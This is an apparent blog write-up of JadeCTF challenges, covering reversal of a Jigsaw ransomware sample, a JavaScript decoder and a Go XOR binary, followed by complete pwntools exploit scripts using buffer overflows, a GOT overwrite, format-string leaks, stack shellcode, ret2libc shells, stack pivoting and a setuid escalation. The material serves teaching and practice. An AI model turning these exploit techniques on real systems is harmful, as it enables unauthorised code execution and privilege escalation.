I participated in JadeCTF over the weekend. Having put CTFs on hold for some time for school, these challenges were a nice refresher for me. For these write-ups, I won’t be diving too deep into the details. Instead, I’ll mainly be focusing on the high-level method used to solve the challenges, and certain tricks along the way.

You can find the relevant binaries here.

Denji ex-makima

Description

[REV] 152, 89 solves

Nick is a huge anime fan. Recently, he started watching チェンソーマン and got really fascinated by it. He couldn’t wait for the new episodes, and downloaded an application which would “apparently” get him all the episodes straight away. Sadly, it turned out to be a malware, and encrypted all the files in his system. He needs your help. Provided is the malware and one of his files.

WARNING! THIS CHALLENGE CONTAINS A LIVE MALWARE

Write-up

Disclaimer: The binary provided is live malware. DO NOT run it on your host machine.

We are given a Jigsaw ransomware Windows executable and an encrypted file. In order to decrypt the file, we need to reverse the ransomware. Luckily, the decryption function is already implemented in the ransomware binary (it’s usually just blocked behind a paywall) so that makes things easier for us. Analysing the binary in Ghidra / IDA will give poor results, and we can see why:

1
2
$ file ChainsawMan-Downloader.exe
ChainsawMan-Downloader.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

This is a .Net assembly binary. In reverse engineering challenges, if the usual decompilers do not produce good results, this typically means that we should be using another tool. In this case, there are .Net decompilers available, e.g. dotPeek. Viewing the binary in dotPeek, we see that the encryption and decryption functions are in the Locker class.

Saving the Locker.cs file, we can edit it to call the decryption functionality. From other examples in the code, we notice that Sain.Locker.DecryptFiles(".fun"); can be used to decrypt our encrypted files. However, since our encrypted file is not on the program’s list of encrypted files (which it generates when it does the encryption), we simply pass in the encrypted file’s name manually. I also removed all malicious parts of the code, i.e. the encryption functions. You’ll also have to modify the direct source code from Locker.cs a bit for it to work.

Final exploit script (compile in Visual Studio)

jsDuck

Description

[REV] 489, 17 solves

———-]<-<—<——-<———-»»+[«<++,<+++++++++++++++,>+,<———————————–,»–,<+++++++++++++++,<++++++,>+,>,<—————————,<+++++++++,++++++,»——————-,

http://34.76.206.46:10009

Write-up

We are given an express app (app.js) that returns the flag if we are authenticated. It authenticates us via the following checks

1
2
3
4
let decoded = decode(req.body.code);
if ( decoded && decoded.admin === 'true' && decoded.guest === 'false' && decoded.organization ===  'cyberlabs') {
    // print flag
}

The decode function is a pain to properly reverse, but at a high-level, the decode function populates the memory with our input, broken into bytes. Then, it reads instructions from the program array, and executes functions according to the instruction. These functions perform operations on the memory. Finally, it parses JSON string obtained from the memory. Instead of trying to understand how everything worked, I simply looked at the outputs and inferred the algorithm.

We can print out the output of the decoding function as follows

1
2
3
fun_0xgg: function (s) {
 console.log(s)
...

By passing in various inputs, we notice that decode(“test”) = vugv and decode(“testtest”) = vugvvugv . This looks like a simple Caesar cipher. Using Cyberchef, we can find that the decode function corresponds to a Caesar cipher of offset 2, and then reversing the string. Recreating the decode (and corresponding encode) functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function CaesarCipher(str, num) {
    var result = '';
    var charcode = 0;
    for (var i = 0; i < str.length; i++) {
        charcode = (str[i].charCodeAt()) + num;
        result += String.fromCharCode(charcode);
    }
    return result;
}

function my_decode(inp) {
    let out = inp.split("").reverse().join("")
    return CaesarCipher(out, 2)
}

function my_encode(inp) {
    let out = CaesarCipher(inp, -2)
    return out.split("").reverse().join("")
}

Finally, we get our code:

1
2
3
4
5
6
let js = JSON.stringify({
    "admin": "true",
    "guest": "false",
    "organization": "cyberlabs"
})
console.log(my_encode(js))

However, passing this in to the web page directly will not give us the flag because of some client-side JS that modifies our input. To bypass this, we simply repeat the request with Burp and send our code directly. Notably, while it is possible to reverse the client-side JS, it is easier for us to just bypass it.

Funnily enough, I stumbled onto the page when I was trying another web challenge, so I thought this was a web challenge too ;)

Bit Set Go

Description

[REV] 494, 13 solves

Self-explanatory. Reverse engineer the binary provided to find the flag!

Write-up

Searching some of the strings in the binary tells us that we have a Golang binary on our hands. Golang decompilation is usually quite convoluted (see: Analyzing Golang Executables), but luckily all we need is a high-level overview for this challenge. Checking our the Ghidra decompilation, we see the following structure:

  • Calls os.ReadFile() on “flag.txt”, stores flag in flag_res. Calls log.Fatal() on error
  • Calls os.ReadFiles() on “key.txt”, stores key in key_res. Calls log.Fatal() on error
  • XORs flag with key (flag_res[idx] = flag_res[idx] ^ key_res[idx % (long)key_len];)
  • Some sort of re-arrangement of characters
  • Writes output of encryption to “output” with os.WriteFile

As you can see, my understanding of the binary from the decompilation is far from perfect. However, it’s sometimes possible to solve rev challenges with a full understanding, as we will attempt to do. Typically in such challenges, I first try to recreate the encryption algorithm (like I did for jsDuck) to ensure that my understanding of the algorithm is correct, before proceeding with creating the decryption algorithm, as a direct opposite to the encryption. So, I ran the binary on a known flag and key to test the output. Notably, we find that the length of the output is always the same as the length of the flag. Since the output file provided in the challenge is 41 bytes, we know that the flag is 41 characters. So, I ran the provided binary on a sample flag “jadeCTF{this_is_a_sample_flag1234567890!}” and sample key “1234”, getting a new output file. Then, I ran the XOR function on the sample flag to see how the result differed from the output produced by the binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
with open("flag.txt", "r") as f:
    flag = list(f.read(-1))

with open("key.txt", "r") as f:
    key = list(f.read(-1))

for idx, char in enumerate(flag):
    flag[idx] = chr(ord(flag[idx]) ^ ord(key[idx % len(key)]))

with open("output", "rb") as f:
    output = f.read(-1)

print(flag)
print(output)

This is the output:

1
2
3
$ py rec.py
my result: ['[', 'S', 'W', 'Q', 'r', 'f', 'u', 'O', 'E', 'Z', 'Z', 'G', 'n', '[', '@', 'k', 'P', 'm', '@', 'U', '\\', 'B', '_', 'Q', 'n', 'T', '_', 'U', 'V', '\x03', '\x01', '\x07', '\x05', '\x07', '\x05', '\x03', '\t', '\x0b', '\x03', '\x15', 'L']
actual output: ['U', '@', 'm', 'P', 'k', '@', '[', 'n', 'G', 'Z', '\x01', '\x07', '\x05', '\x07', '\x05', '\x03', '\t', '\x0b', '\x03', '\x15', 'L', 'B', '_', 'Q', 'n', 'T', '_', 'U', 'V', '\x03', 'Z', 'E', 'O', 'u', 'f', 'r', 'Q', 'W', 'S', '[', '\\']

We see that all the characters are correct, just in the wrong positions. Looking at the first few characters of my result, and the last few characters of the actual output, I suspected that the input was reversed, so I added that to my python recreation of the encryption algorithm.

1
2
my result: ['L', '\x15', '\x03', '\x0b', '\t', '\x03', '\x05', '\x07', '\x05', '\x07', '\x01', '\x03', 'V', 'U', '_', 'T', 'n', 'Q', '_', 'B', '\\', 'U', '@', 'm', 'P', 'k', '@', '[', 'n', 'G', 'Z', 'Z', 'E', 'O', 'u', 'f', 'r', 'Q', 'W', 'S', '[']
actual output: ['U', '@', 'm', 'P', 'k', '@', '[', 'n', 'G', 'Z', '\x01', '\x07', '\x05', '\x07', '\x05', '\x03', '\t', '\x0b', '\x03', '\x15', 'L', 'B', '_', 'Q', 'n', 'T', '_', 'U', 'V', '\x03', 'Z', 'E', 'O', 'u', 'f', 'r', 'Q', 'W', 'S', '[', '\\']

Now, it is easier to see that the last sections of the two almost match completely. We can continue spotting patterns to obtain the following encryption function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Encryption function
with open("flag.txt", "r") as f:
    flag = list(f.read(-1))
with open("key.txt", "r") as f:
    key = list(f.read(-1))

# XOR encryption
for idx, char in enumerate(flag):
    flag[idx] = chr(ord(flag[idx]) ^ ord(key[idx % len(key)]))

my_output = [-1] * 41
flag = flag[::-1]  # reversing the string

# rearrangement
for x in range(10):
    my_output[x] = flag[21+x]
for x in range(11):
    my_output[10+x] = flag[10-x]
for x in range(9):
    my_output[10+11+x] = flag[19-x]
for x in range(10):
    my_output[10+11+9+x] = flag[31+x]
my_output[40] = flag[20]

with open("output", "rb") as f:
    actual_output = f.read(-1)

# the following are identical from testing!
print("".join(my_output))
print(actual_output.decode("ascii"))

With some testing, we can verify that we have successfully recreated the encryption function. We can also check that the rearrangement happens the exact same way, regardless of key length by passing in different keys. All that’s left to do is create the decryption function based of this. Our decryption function needs to reverse the rearrangement, reverse the string, then XOR with the key (which we still do not know). Since the rearrangement would be quite tedious to work through, I automated the reversal of the rearrangement. By passing in flag = [x for x in range(41)], we obtain the output:

1
[19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 21, 22, 23, 24, 25, 26, 27, 28, 29, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0, 20]

We can use this to reverse the rearrangement, exactly.

1
2
3
4
5
6
7
8
original = [-1] * 41
rearranged = [19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 21, 22, 23, 24, 25, 26, 27, 28, 29, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0, 20]

with open("output", "rb") as f:
    actual_output = f.read(-1)

for idx, el in enumerate(rearranged):
    original[el] = chr(actual_output[idx])

The last step is to retrieve the key we XOR-ed the flag with. Since we know that our flag starts with “jadeCTF{“, we can XOR this known start with the start of our retrieved output.

1
2
3
4
5
6
key = ""
correct = "jadeCTF{"
for idx, char in enumerate(correct):
    res = chr(ord(original[idx]) ^ ord(char))
    key += res
print(key)

The caveat here is that this only works for keys that are 8 or less characters. Thankfully, we find the key to be “hehehehe” (or just “he”), which we use to obtain the rest of the flag.

1
2
3
4
5
flag = [-1] * 41
for idx, char in enumerate(original):
    flag[idx] = chr(ord(original[idx]) ^ ord(key[idx % len(key)]))

print("".join(flag))  # jadeCTF{g0_r3v3rs1ng_w4s_n0t_h4rd_4t_4ll}

PWN

Baby Pwn

Description

[PWN] 50 points, 201 solves

Beginner level Binary Exploitation :)

nc 34.76.206.46 10002

Write-up

Simple ret2win. Exploit code:

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('34.76.206.46', 10002)
elf = ELF("./chall", checksec=False)

payload = b"A" * 512 + b"B" * 8 + p64(elf.sym["win"])
p.sendline(payload)

p.interactive()

Love Calculator

Description

[PWN] 292, 69 solves

Sourav wanted to calculate his compatibility with this girl he has a huge crush on. He thought of writing an application for this. But his code didn’t work. It didn’t show any compatibility/love percentage whatsoever. His application is provided. Help him understand why his code doesn’t work.

nc 34.76.206.46 10005

Write-up

Note: according to the challenge author, this is an unintended solution.

Decompiling in Ghidra, we see a BOF with the gets() in analyze_name(). We can use this to overwrite saved rip to return to the win function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void win() {
  char buffer [104];
  FILE *stream;
  
  stream = fopen("flag.txt","r");
  if (stream == (FILE *)0x0) {
    printf("Sorry, fl%dg doesn\'t exist.\n",4);
    exit(0);
  }
  fgets(buffer,100,stream);
  if (show_flag == 0) {
    printf("Sorry, no fl%dg for you!",4);
    exit(0);
  }
  printf("Here is your flag: %s\n",buffer);
  return;
}

Importantly, we need to pass the show_flag check, or the binary will exit early, without printing the flag. This is the key to the challenge. The usual solution would be to find a way to ROP our way from the gets() BOF to set the value of show_flag. Instead, we can make the following observations

  • The printing of the buffer does not happen in an else branch of the show_flag check. So, it is not strictly necessary for show_flag to be 0.
  • The show_flag checks terminates early using the exit function, which is part of the GOT.

With this in mind, we can perform a standard GOT overwrite to exit. A suitable alternative to exit(0) would be putchar(0), which is also called in the program. Conveniently, exit() is located at 0x4007c0 and putchar() is located at 0x400700. So, overwriting the last byte of the exit() address to 0x00 will redirect a call to exit() to putchar() instead.

Final exploit:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote('34.76.206.46', 10005)
elf = ELF("./calc", checksec=False)

p.sendlineafter(b"Please enter your name:", "BBBB")
p.sendlineafter(b"Please choose what you would like to do:", b"2")
POP_RDI = 0x000000000040096c

payload = b"\x01" * 120 + p64(POP_RDI) + p64(elf.got["exit"]) + p64(elf.sym["gets"]) + p64(elf.sym["win"]) # p64(0x040099d)
p.sendlineafter(b"Enter the name of the lucky one ;):", payload)
p.sendline()  # send \x00, which overwrites the address of exit to 0x4007c0 to 0x400700 (putchar)
p.interactive()

Data Storage

Description

[PWN] 457, 32 solves

In his DBMS course, Shekhar was learning about CRUD operations. He was taught these operations in SQL, but he wanted to try them out in C. He wrote a program for reading data from input, and then scrambling it so other users can’t figure out what is stored. He gave me the binary to test it, could you help me out?

nc 34.76.206.46 10003

Write-up

This challenge has a lengthy amount of reversing, so here’s quick overview of the exploit.

  • Format string exploit to leak canary and stack address
  • Generate stack shellcode via reversing the “encryption”
  • gets() buffer overflow to redirect code execution to stack shellcode
  • NOP sled + stack address fuzzing

The programs reads in a name of length n, admission number of length an, branch of length b, university of length u and address of length a. All these lengths are randomly generated at runtime with the gen_ints() function. The program then scrambles a buffer on stack with different parts of the string (comprising name, admission number etc) you pass in. The scrambled buffer is essentially the first ½ of the name, first ⅓ of the branch, ⅓ of the admission number and so on. I won’t go into depth on reversing the scrambling as it is straightforward enough, just tedious.

The first part of the exploit, the format string vulnerability, lies in the database_store() function when your choice is repeated back to you with printf().

1
2
3
4
5
6
puts("Are you sure that you want to store data [yes/no]?");
fgets(input1,10,stdin);
end = strcspn(input1,"\r\n");
input1[end] = '\0';
printf("You entered: ");
printf(input1);

To leak addresses, we use the “%n$p” specifier. Running through a few values for n, we find that n=1 gives us a stack address and n=71 gives us the canary value (at least, locally). We can calculate any stack address by finding its offset relative to the stack address leaked. We will see that one such useful address is the start of our scrambled buffer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.log_level = "debug"
p = process("./data")
elf = ELF("./data", checksec=False)
context.binary = elf

fmt_payload = b"%71$p%1$p"

p.sendafter(b"Are you sure that", fmt_payload)

p.recvuntil(b"You entered:")
leak = p.recvuntil(b"Is that correct?").replace(b"Is that correct?", b"").strip()
delim = leak.find(b"0x", 3)
addr1 = leak[:delim]
addr2 = leak[delim:]

leak1 = int(addr1, 16)  # canary
leak2 = int(addr2, 16)  # stack addr

print(hex(leak1))
print(hex(leak2))

canary = p64(leak1)
# (the values 0x7ffe37197ea0, 0x7ffe37199ff0 are obtained from debugging the leak and buffer address in GDB)
buffer_start = leak2 - 0x7ffe37197ea0 + 0x7ffe37199ff0
print(hex(buffer_start))

The next part of the exploit is the buffer overflow vulnerability due to gets(), also in database_store().

1
2
printf("Enter your Name(%d), Admission Number(%d), Branch(%d), University(%d), and Address(%d) (in  this order):\n",(ulong)n,(ulong)an,(ulong)b,(ulong)u,(ulong)a);
gets(fields_buffer);

We use the canary leaked to overflow the stack and overwrite our saved rip. A good candidate to redirect code flow to is our stack.

1
2
3
length = cyclic(0x40).find(b"caaadaaa")
rop_payload = b"A" * 520 + canary + b"B" * length + p64(buffer_start)
p.sendline(rop_payload)

This shellcode approach is hinted at by the executable stack.

1
2
3
4
5
6
7
$ checksec --file=data
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

Essentially, we will write some shellcode to our stack, then jump to that shellcode, executing it. The difficulty here lies in the aforementioned scrambling of our buffer. As such, we will need to reverse the scrambling before we can load our shellcode. To do so, we can copy the decompiled C source code from Ghidra, and re-write it in Python (find and replace is handy here). It looks quite complicated, but it is really just a port of the Ghidra decompilation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def str_to_field(buf, plus, sz, len_done, field_len):
    buf[plus:plus+field_len] = sz[len_done:len_done+field_len]

def scramble(name, admno, branch, university, address):
    fields_buffer = [-1] * 0x200

    str_to_field(fields_buffer, 0, name, 0, n // 2)
    sum = n // 2
    str_to_field(fields_buffer, sum, branch, 0, b // 3)
    sum += b // 3
    str_to_field(fields_buffer, sum, admno, 0, an // 3)
    sum += an // 3
    str_to_field(fields_buffer, sum, university, 0, u // 2)
    sum += u // 2
    str_to_field(fields_buffer, sum, address, 0, a // 10)
    sum += a // 10
    str_to_field(fields_buffer, sum, branch, b // 3, b - b // 3)
    sum += b - b // 3
    str_to_field(fields_buffer, sum, name, n // 2, n - n // 2)
    sum += n - n // 2
    str_to_field(fields_buffer, sum, address, a // 10, a // 10)
    sum += a // 10
    uVar1 = u
    if u < 0:
        uVar1 = u + 3
    str_to_field(fields_buffer, sum, university, u // 2, uVar1 >> 2)
    uVar1 = u
    if u < 0:
        uVar1 = u + 3
    sum += uVar1 >> 2
    str_to_field(fields_buffer, sum, admno, an // 3, an - an // 3)
    sum += an - an // 3
    str_to_field(fields_buffer, sum, address, a // 10 + a // 10,
                a + (-(a // 10) - a // 10))
    uVar1 = u
    if u < 0:
        uVar1 = u + 3
    uVar2 = u
    if u < 0:
        uVar2 = u + 3
    str_to_field(fields_buffer, (sum + a + (-(a // 10) - a // 10)), university, (uVar2 >> 2) + u // 2, u - ((uVar1 >> 2) + u // 2))

    return fields_buffer

Having created our scramble function we need to create an unscramble function for our shellcode. We can use a similar approach to that in jsDuck and Bit Set Go (both write-ups are above).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def generate(desired_text):
    test_name = [x for x in range(n)]
    test_admno = [x for x in range(n, n+an)]
    test_branch = [x for x in range(n+an, n+an+b)]
    test_university = [x for x in range(n+an+b, n+an+b+u)]
    test_address = [x for x in range(n+an+b+u, n+an+b+u+a)]
    # these 5 lists will give a unique set of indices that we can map back later

    rearranged_buffer = scramble(test_name, test_admno, test_branch, test_university, test_address)
    # this buffer is a list of numbers that we can reverse to get a descrambled string

    actual_name = [b"A"] * n
    actual_admno = [b"A"] * an
    actual_branch = [b"A"] * b
    actual_university = [b"A"] * u
    actual_address = [b"A"] * a

    for idx, desired_char in enumerate(desired_text):
        original_idx = rearranged_buffer[idx]

        desired_char = desired_char.to_bytes(1, "little")

        # finding the mapping from our original indices
        if original_idx in test_name:
            pos = test_name.index(original_idx)
            actual_name[pos] = desired_char

        elif original_idx in test_admno:
            pos = test_admno.index(original_idx)
            actual_admno[pos] = desired_char

        elif original_idx in test_branch:
            pos = test_branch.index(original_idx)
            actual_branch[pos] = desired_char

        elif original_idx in test_university:
            pos = test_university.index(original_idx)
            actual_university[pos] = desired_char

        elif original_idx in test_address:
            pos = test_address.index(original_idx)
            actual_address[pos] = desired_char

    return (b"".join(actual_name), b"".join(actual_admno), b"".join(actual_branch), b"".join(actual_university), b"".join(actual_address))

Combining these three elements will give us a locally working exploit (full exploit script is at the end). However, this fails to work on remote as the stack addresses and offsets are different there (possibly due to environment variables). So, the final step in our exploit requires some guessing / fuzzing. To make our fuzzing easier, we use a NOP-sled. But, first we need to find the new format string offset for our canary. Via some trial and error, we find that the canary is now at offset 77 (we know it is the canary as it is a “highly random” string of length 0x10 and ends with 0x00).

For the fuzzing, we simply vary out return address to different offsets in the stack until we land in our NOP-sled, which will give us our pwn. We can modify the offsets via the (nops//2 * fuzz) term. Fuzzing section:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nops = 420
sh = asm(shellcraft.sh())
shellcode = b"\x90" * nops + sh
name, admno, branch, university, address = generate(shellcode)

pload = name + admno + branch + university + address  # of length 512

fuzz = 7  # -10 - 6

length = cyclic(0x40).find(b"caaadaaa")
rop_payload = pload + b"A" * (520-512) + canary + b"B" * length + p64(buffer_start + (nops//2 * fuzz))

p.sendline(rop_payload)

p.interactive()

We find that a good value for fuzz = 7. Final exploit code

Roll the Dice

Description

[PWN] 487, 18 solves

Roll the dice, enter the coupon. Did you win? No? No worries. Try again. Life’s all about chances.

nc 34.76.206.46 10006

Write-up

We are presented with an ELF binary with 2 options: rolling the dice and entering a coupon. By rolling the dice, we can eventually get an “another_chance”, which will be useful for our exploit later. The main exploit lies in the enter_coupon function. We first use a format string vulnerability to leak the canary and a libc address. Then, on the next iteration, we abuse a gets() BOF to ret2libc. The “added” difficulty lies in that there are actually two binaries to exploit, and we will only discover the second after popping our remote shell.

In a similar fashion to Data Storage, we enumerate the format string vulnerability until we get useful leaks, namely the canary at n=33 and a libc address in libc_start_main at n=61.

1
2
3
4
5
6
7
8
9
10
11
12
13
fmt_payload = b"%33$p.%61$p"
sla(b"Enter the coupon code:", fmt_payload)
p.recvuntil(b"You entered: ")
leak = p.recvuntil(b"\n").strip().decode("ascii")
part1, part2 = leak.split(".")
canary = int(part1, 16)

leak = part2
leak = int(leak, 16)

libc_start = leak + 0x7f548f9e3000 - 0x7f548fa03840
print("canary: " + hex(canary))
print("libc start: " + hex(libc_start))

While it’s possible to leak the libc version using something along the lines of puts(GOT), since I had solved Guess Game (the next challenge) first, I simply used the libc provided in that challenge (this is usually a safe assumption). Patching our binary locally with pwninit, we can then calculate the base address of libc.

The next part of our exploit is the libc ROP chain.

1
2
3
4
5
6
7
8
libc.address = libc_start
rop = ROP([libc])
binsh = next(libc.search(b"/bin/sh\x00"))
print("binsh: " + hex(binsh))
rop.execve(binsh, 0, 0)

payload = b"\0" * 0xc8 + p64(canary) + b"B"*8 + rop.chain()
sla(b"Enter the coupon code:", payload)

There are two important things to note here. Firstly, in using the pwntools ROP functionality, do not include the binary, i.e. ROP([libc, elf]). This is because pwntools will attempt to use gadgets found in the binary first, but since the binary has PIE enabled and we did not leak the binary’s base address, pwntools will be unable to locate the gadgets properly. Two, in sending the coupon code, we need to make sure that our coupon is applied successfully, so that the enter_coupon() function returns, triggering our ROP chain.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gets(coupon_buffer);
diff = strcmp(coupon_buffer,correct_coupon);
if (diff == 0) {
    successfull = '\x01';
    puts("Coupon applied successfully!");
LAB_00100dec:
    if (successfull != '\x01') {
        choose_option();
    }
    if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
        __stack_chk_fail();
    }
    return;
}
printf("Invalid coupon code! You entered: ");
printf(coupon_buffer);
putchar(10);
if (another_chance == '\0') {
    puts("No more chances left!");
    goto LAB_00100dec;
}

If our coupon code does not match, we follow a jump back to the choose_option() function, which does not return. To pass the strcmp() coupon check, we first notice that the correct coupon’s buffer lies before our coupon’s buffer on stack. So, we can overwrite the correct coupon code with null bytes, and the check becomes strcmp("\0", "\0") == 0.

With our remote shell, we find the real flag in /opt. However, we do not have write access to it. Instead, we need to utilise (exploit) the worker binary.

1
2
3
4
$ ls -la /opt
total 28
-rwxr----- 1 0 1001    36 Oct 21 05:21 real_flag.txt
-rwsr-sr-x 1 0 1001 13440 Oct 22 03:03 worker

We can “transfer” the worker binary over the remote shell with cat and pwntools.

1
2
3
4
5
6
7
8
sl(b"cat /opt/worker")

p.recvuntil(b"successfully!")
p.recvn(1)

with open("worker", "wb") as f:
    res = p.recvn(0x1000+0x1000+0x1000+1182)
    f.write(res)

Reversing the worker binary locally, we see that it’s a simple ret2win.

1
2
3
4
elf2 = ELF("./worker", checksec=False)
sla(b"number:", b"1")
payload = b"A"*64 + b"B"*24 + p64(elf2.sym["win"])
sla(b"name:", payload)

Full exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

fn = "./dice_patched"
p = remote('34.76.206.46', 10006)
elf = ELF(fn, checksec=False)
libc = elf.libc

context.binary = elf
context.log_level = "debug"

sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)

# get dice roll 6
sla(b"your choice:", b"1")
while True:
    if b"You get another chance to enter the coupon!" in p.recvuntil(b"Enter"):
        break
    sla(b"your choice:", b"1")

sla(b"your choice:", b"2")

fmt_payload = b"%33$p.%61$p"

sla(b"Enter the coupon code:", fmt_payload)
p.recvuntil(b"You entered: ")
leak = p.recvuntil(b"\n").strip().decode("ascii")
part1, part2 = leak.split(".")
canary = int(part1, 16)

leak = part2
leak = int(leak, 16)

libc_start = leak + 0x7f548f9e3000 - 0x7f548fa03840
print("canary: " + hex(canary))
print("libc start: " + hex(libc_start))

libc.address = libc_start

rop = ROP([libc])
binsh = next(libc.search(b"/bin/sh\x00"))
print("binsh: " + hex(binsh))
rop.execve(binsh, 0, 0)

payload = b"\0" * 0xc8 + p64(canary) + b"B"*8 + rop.chain()  # b"C" * 8
sla(b"Enter the coupon code:", payload)

sl(b"/opt/worker")
elf2 = ELF("./worker", checksec=False)
sla(b"number:", b"1")
payload = b"A"*64 + b"B"*24 + p64(elf2.sym["win"])
sla(b"name:", payload)

p.interactive()

Guess Game

Description

[PWN] 490, 16 solves

Sometimes guessing can help, sometimes it can’t. Can you guess your way out of this challenge?

nc 34.76.206.46 10004

Write-up

Using pwninit, we first patch the given ELF executable with the libc. Reversing with Ghidra, we see most of the interesting functionality is in the odd_option() function. There are two things to notice. Firstly, we are given a leak of a pointer to a buffer on stack. Secondly, we have an fgets OOB write, but it only gives us 10 bytes to craft our ROP chain. Evidently, this will be a stack pivoting challenge.

At a high-level, the way I solved it was to overwrite our saved rbp to a value smaller than our current rbp, then return to odd_option() a second time. On this second iteration in odd_option(), when the function returns, its stack pointer is pointing into the buffer we wrote on the first iteration in odd_option(), due to the way we have set-up the stack. So, on our first iteration, we can load our ROP-chain into the input buffers, and then overwrite our saved rbp and saved rip accordingly. By modifying offsets, we can make the second iteration of odd_option() return to the ROP-chain we crafted in the first iteration. This gives us the space we need to craft a ROP-chain to pop 0xdeadbeef into rdi, then jump to hidden_level(). I won’t dive into the details here because it was a lot of tedious trial and error.

In hidden_level(), we have the luxury of much more space to craft a ROP-chain. Here, the exploitation becomes a standard 2-cycle of libc leak and ret2libc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

p = remote('34.76.206.46', 10004)

elf = ELF("./guess", checksec=False)
libc = elf.libc

context.binary = elf
context.log_level = "debug"

sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)

sla(b"Enter a number", b"1")

p.recvuntil(b"Here's the number: ")
leak = p.recvuntil(b"\n").strip()
leak = int(leak)

# (calculate these offsets via GDB)
real_rbp = leak + 0x7ffc2ea72080 - 0x7ffc2ea71f40

sla(b"Enter first input please:", b"a")

pos = cyclic(0x82-108).find(b"daaa")
saved_rbp = p64(real_rbp - 0x30)
saved_rip = p64(0x04009d5)  # odd_option: SUB RSP, 0x140
POP_RDI = 0x0000000000400946

act_payload = p64(POP_RDI) + p64(0xdeadbeef) + p64(elf.sym["hidden_level"])

k=72
# this is actually two ROP chains.
# the first is the saved_rbp, saved_rip segment at the end, which redirects code flow back to odd_option.
# this segment also pivots our stack so that the second iteration of odd_option returns to act_payload.
# the second is "act_payload", which will be triggered when the second iteration of odd_option returns.
payload = b"A" * k + act_payload + b"C" * (108-k-len(act_payload)) + b"B" * (pos - 8) + saved_rbp + saved_rip
sla(b"Enter second input please:", payload)

# second iteration of odd_option
sla(b"Enter first input please:", "test")
sla(b"Enter second input please:", "test")

# here, we can redirected to hidden_level

# our ROP chain here consists of two parts. 1. leak libc address of fgets
# 2. return to hidden_level. this re-uses the act_payload from before, in setting up the registers.
pos = cyclic(100).find(b"caaa")
payload = 112 * b"D" + b"E" * pos + p64(POP_RDI) + p64(elf.got["fgets"]) + p64(elf.sym["puts"]) + act_payload
sla(b"type the mantra to unlock the hidden door:", payload)

# get our fgets libc leak
leak = p.recvuntil(b"\nOooh!").replace(b"\nOooh!", b"")[-6:]
leak = u64(leak.ljust(8, b"\0"))
fgets = leak
libc.address = fgets - libc.sym["fgets"]

# craft our ret2libc
rop = ROP([elf, libc])
binsh = next(libc.search(b"/bin/sh\x00"))
print("binsh: " + hex(binsh))
rop.execve(binsh, 0, 0)

pos = cyclic(100).find(b"caaadaaa")
payload = b"A" * 112 + b"B" * pos + rop.chain()
sla(b"unlock the hidden door:", payload)
# cat flag.txt - jadeCTF{p1v0t!_p1v0t!_p1v0t!}
p.interactive()